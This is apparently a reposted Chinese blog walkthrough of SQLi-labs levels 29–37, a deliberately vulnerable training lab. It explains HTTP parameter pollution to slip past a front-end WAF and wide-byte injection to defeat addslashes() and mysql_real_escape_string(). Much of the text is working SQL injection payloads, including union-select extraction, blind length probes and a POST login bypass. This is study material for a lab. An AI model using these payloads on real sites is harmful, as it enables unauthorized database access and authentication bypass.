标签:用法 webp aof html length images ges 技术 get
29-32关和其他有些不一样
参考链接
https://www.cnblogs.com/heiwa-0924/p/12369438.html
https://www.jianshu.com/p/46cb6c354de5
两层服务器:
而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1--+
,tomcat 只检查第一个参数id=1
,而对第二个参数id=0 or 1=1--+
不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。
该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
大多数服务器对于参数解析:
?id=1‘ order by 3%23 //判断注入类型、字段数3
?id=1‘union select 1,2,3%23 //没有找到显示位,关键字也没有被过滤
?id=1&id=2 //返回用户2
?id=1&id=2‘ //报错 注入点在第二个参数中
?id=1&id=0‘union select 1,2,3%23 //找到显示位
?id=1&id=0‘union select 1,database(),3%23 //数据库名,没有任何过滤
?id=1&id=2‘ //正常回显
?id=1&id=2" //报错,双引号字符型
?id=1&id=0"union select 1,2,3%23 //找到显示位
?id=1&id=1"and length(database())=8%23
?id=1&id=2") //与30的差别就是 多了个括号
绕过-自定义过滤器-添加斜杠到危险字符
过滤代码:
function check_addslashes($string) { $string = preg_replace(‘/‘. preg_quote(‘\\‘) .‘/‘, "\\\\\\", $string); //escape any backslash $string = preg_replace(‘/\‘/i‘, ‘\\\‘‘, $string); //escape single quote with a backslash $string = preg_replace(‘/\"/‘, "\\\"", $string); //escape double quote with a backslash return $string; }
考虑宽字节注入,让斜杠 失效
?id=1%df‘ //报错
?id=-1%bb%27 union select 1,2,3%23
绕过AddSlashes()
?id=0%df%27union%20select%201,2,3%23 //宽字节绕过 找到显示位
uname=%df‘or 1 limit 2,1%23&passwd=111&submit=Submit
参考链接:https://www.jianshu.com/p/f965424fe9a1
这关很调皮,数字型查询根本不需要在乎是否被addslashes()
。
一切回到了第一关,最初始的注入方式。
但还是有存在的必要的,能启发我们思考:当我们面对一个一无所知的网站时应怎么分析后台。
而没有错误回显时,我们又应该怎么判断是数字型注入还是引号被过滤呢?
在能分辨出正确回显和错误回显(有固定字符串)时,id=1
正确回显,尝试id=1‘
和id=1"
:
?id=1 and length(database())=8 //盲注
绕过:mysql_real_escape_string($string)
?id=0%df%27union%20select%201,2,3%23 //宽字节注入 找到显示位
post :
admin%df‘or 1=1 limit 3,1%23
Done!
SQLi-labs Page-2_Less-29---Less-37
标签:用法 webp aof html length images ges 技术 get
原文地址:https://www.cnblogs.com/liqik/p/12861046.html